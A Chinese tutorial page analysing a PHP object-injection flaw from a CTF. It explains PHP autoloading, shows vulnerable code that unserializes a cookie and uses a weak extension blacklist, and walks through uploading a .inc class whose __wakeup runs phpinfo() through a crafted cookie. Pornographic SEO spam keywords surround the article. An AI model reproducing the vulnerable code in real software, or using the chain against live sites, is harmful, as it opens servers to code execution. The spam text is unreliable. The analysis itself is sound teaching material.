中文字幕在线一区二区在线,久久久精品免费观看国产,无码日日模日日碰夜夜爽,天堂av在线最新版在线,日韩美精品无码一本二本三本,麻豆精品三级国产国语,精品无码AⅤ片,国产区在线观看视频

      PHP對(duì)象注入的實(shí)例分析

      時(shí)間:2024-08-27 02:48:46 PHP 我要投稿
      • 相關(guān)推薦

      PHP對(duì)象注入的實(shí)例分析

        注入我們聽到最多的sql了,其實(shí)php注入也是黑客常用的一種辦法了,下面我們就來學(xué)習(xí)一下php注入攻擊的記錄,希望大家能夠通過此教程來做好自己網(wǎng)站安全。

        1. 寫在前面

        最近經(jīng)常會(huì)遇到一些比較有意思的漏洞,比如PHP反序列化漏洞,PHP對(duì)象注入。這些漏洞可能在平時(shí)很難遇到,但是在CTF以及一些CMS倒是經(jīng)常看到他們的背影。今天剛剛好手上看到了某CTF的代碼,但是并沒有獲取所有源碼,因此修改了部分代碼進(jìn)行分析。

        2. 自動(dòng)加載

        2.0 為什么要自動(dòng)加載?

        在面向?qū)ο缶幊讨校绦騿T經(jīng)常會(huì)編寫好類然后在一個(gè)入口文件中將它們包含進(jìn)來。如果一個(gè)項(xiàng)目非常大,可能存在成百上千個(gè)類文件,如果一一包含進(jìn)去,那么入口文件就會(huì)顯得特別大并且不利于維護(hù)。因此,PHP5提供了一種自動(dòng)加載機(jī)制。

        2.1 __autoload

        index.php

        function __autoload($classname){

        $class_file = strtolower($classname).".php";

        if(file_exists($class_file)){

        require_once("$class_file");

        }else{

        echo "$class_file does not exist!";

        }

        }

        $obj = new File();

        訪問index.php,程序會(huì)嘗試實(shí)例化File類。PHP的解析器會(huì)自動(dòng)調(diào)用__autoload()函數(shù)。假設(shè)當(dāng)前目錄下沒有file.php,那么就會(huì)輸出 “file.php does not exist!” 并且拋出錯(cuò)誤。

        file.php

        class File{

        function __construct(){

        echo "File class is instantiated";

        }

        }

        此時(shí)訪問index.php,就會(huì)得到 “File class is instantiated” 的結(jié)果。這樣一來,自動(dòng)加載機(jī)制就非常好理解了。

        2.2 手動(dòng)調(diào)用 spl_autoload

        void spl_autoload ( string $class_name [, string $file_extensions ] )

        它可以接收兩個(gè)參數(shù),第一個(gè)參數(shù)是$class_name,表示類名。第二個(gè)參數(shù)$file_extensions是可選的,表示類文件的擴(kuò)展名;如果不指定的話,它將使用默認(rèn)的擴(kuò)展名.inc或.php。

        spl_autoload首先將$class_name變?yōu)樾懀缓笤谒械膇nclude path中搜索$class_name.inc或$class_name.php文件(如果不指定$file_extensions參數(shù)的話),如果找到,就加載該類文件。

        同樣,你可以手動(dòng)使用spl_autoload(“Person”, “.class.php”)來加載Person類。實(shí)際上,它跟require/include差不多

        舉個(gè)例子

        spl_autoload("upload");

        $F = new Upload();

        這里沒有指定擴(kuò)展名,那么就會(huì)在當(dāng)前目錄下尋找upload.inc或者upload.php并自動(dòng)加載。其實(shí),到這里而言,和require、include相比并沒有簡單。相反,它們的功能基本是一模一樣的。

        2.3 自動(dòng)調(diào)用 spl_autoload

        上面所說的使用手動(dòng)的方式調(diào)用spl_autoload,工作量其實(shí)和require/include基本上差不多。調(diào)用spl_autoload_register()的時(shí)候,如果沒有指定欲注冊(cè)的自動(dòng)裝載函數(shù),則自動(dòng)注冊(cè) autoload 的默認(rèn)實(shí)現(xiàn)函數(shù)spl_autoload()。

        舉個(gè)例子

        spl_autoload_register();

        $F = new Upload();

        此時(shí),程序會(huì)在當(dāng)前路徑下自動(dòng)加載upload.inc或upload.php。

        3. 反序列化

        字符串序列化成類之前,類必須提前聲明,否則無法反序列化。

        字符串在反序列化的時(shí)候,會(huì)自動(dòng)調(diào)用__wakeup()魔術(shù)方法

        Object序列化格式 -> O:strlen(對(duì)象名):對(duì)象名:對(duì)象大小:{s:strlen(屬性名):屬性名:屬性值;(重復(fù)剩下的元素)}

        4. 漏洞剖析

        index.php

        include_once "common.inc.php";

        if(isset($req["act"]) && preg_match('/^[a-z0-9_]+$/is', $req["act"])) {

        include_once __DIR__ . "/" . $req["act"] . ".php";

        exit;

        }

        common.inc.php

        spl_autoload_register();

        error_reporting(0);

        ini_set('display_errors', false);

        $req = [];

        foreach([$_GET, $_POST] as $global_var) {

        foreach($global_var as $key => $value) {

        is_string($value) && $req[$key] = addslashes($value);

        }

        }

        $userinfo = isset($_COOKIE["userinfo"]) ? unserialize($_COOKIE["userinfo"]) : [];

        upload.php

        if($_FILES["attach"]["error"] == 0) {

        if($_FILES["attach"]['size'] > 0 && $_FILES["attach"]['size'] < 102400) {

        $typeAccepted = ["image/jpeg", "image/gif", "image/png"];

        $blackext = ["php", "php5", "php3", "html", "swf", "htm"];

        $filearr = pathinfo($_FILES["attach"]["name"]);

        if(!in_array($_FILES["attach"]['type'], $typeAccepted)) {

        exit("type error");

        }

        if(in_array($filearr["extension"], $blackext)) {

        exit("extension error");

        }

        $filename = $_FILES["attach"]["name"];

        if(move_uploaded_file($_FILES["attach"]["tmp_name"], $filename)) {

        array_push($userinfo, $filename);

        setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);

        echo htmlspecialchars("upload success, new filename is {$filename} .");

        } else {

        echo "upload error!";

        }

        }

        } else {

        echo "no upload file";

        }

        在common.inc.php中執(zhí)行了spl_autoload_register()函數(shù),并沒有使用參數(shù)。

        后綴沒有禁止.inc的類型

        在common.inc.php會(huì)反序列化COOKIE中的數(shù)據(jù)

        上傳目錄在當(dāng)前目錄下

        因此我們需要如下構(gòu)造:

        上傳一個(gè)名為info.inc的文件,抓包修改MIME類型。info.inc的內(nèi)容如下所示:

        class info{

        function __wakeup(){

        phpinfo();

        }

        }

        修改cookie的uesrinfo字段為:O:4:”info”:0:{}

        訪問index.php即可觸發(fā)phpinfo()函數(shù)。

      【PHP對(duì)象注入的實(shí)例分析】相關(guān)文章:

      PHP防止SQL注入的例子03-15

      淺析php函數(shù)的實(shí)例04-01

      PHP中curl的使用實(shí)例04-01

      PHP面向?qū)ο笾剌d重寫的不同04-03

      德國留學(xué)申請(qǐng)實(shí)例分析03-19

      PHP中的排序函數(shù)區(qū)別分析03-31

      javascript閉包的定義及應(yīng)用實(shí)例分析04-01

      2017考研英語閱讀經(jīng)典實(shí)例分析02-23

      托福口語的評(píng)分標(biāo)準(zhǔn)及實(shí)例分析03-28

      主站蜘蛛池模板: 亚洲av黄片一区二区| 中文精品久久久久中文| 国产一区二区三区亚洲天堂| 一区二区三区午夜视频在线观看| 永胜县| 久久dvd| 亚洲天堂中文字幕乱码| 丁香六月久久| 天啦噜国产精品亚洲精品| 久久久久亚洲AV无码专区一区| 沙洋县| 柯坪县| 金川县| 乡城县| 刚察县| 安化县| 尤溪县| 松原市| 国内精品中文字幕一区| 将乐县| 河西区| 欧美久久中文字幕| 国产美女丝袜高潮白浆| 久久国产精品男人的天堂av| 亚洲av粉嫩性色av| 午夜不卡亚洲视频| 加勒比精品一区二区三区| 亚洲无码性爱视频在线观看| av在线观看亚洲天堂| AV无码专区亚洲AVL在线观看| 国产精品专区一区二区av免费看| 亚洲国产精品性色av| 国产福利一区二区三区视频在线看| 色乱码一区二区三区在线| 日韩不卡无码三区| 国产香蕉一区二区三区| 五月婷婷久久中文字幕| 日产精品一区二区免费| 一亚洲一区二区中文字幕| 亚洲免费成年女性毛视频| 国产成人内射视频免费观看|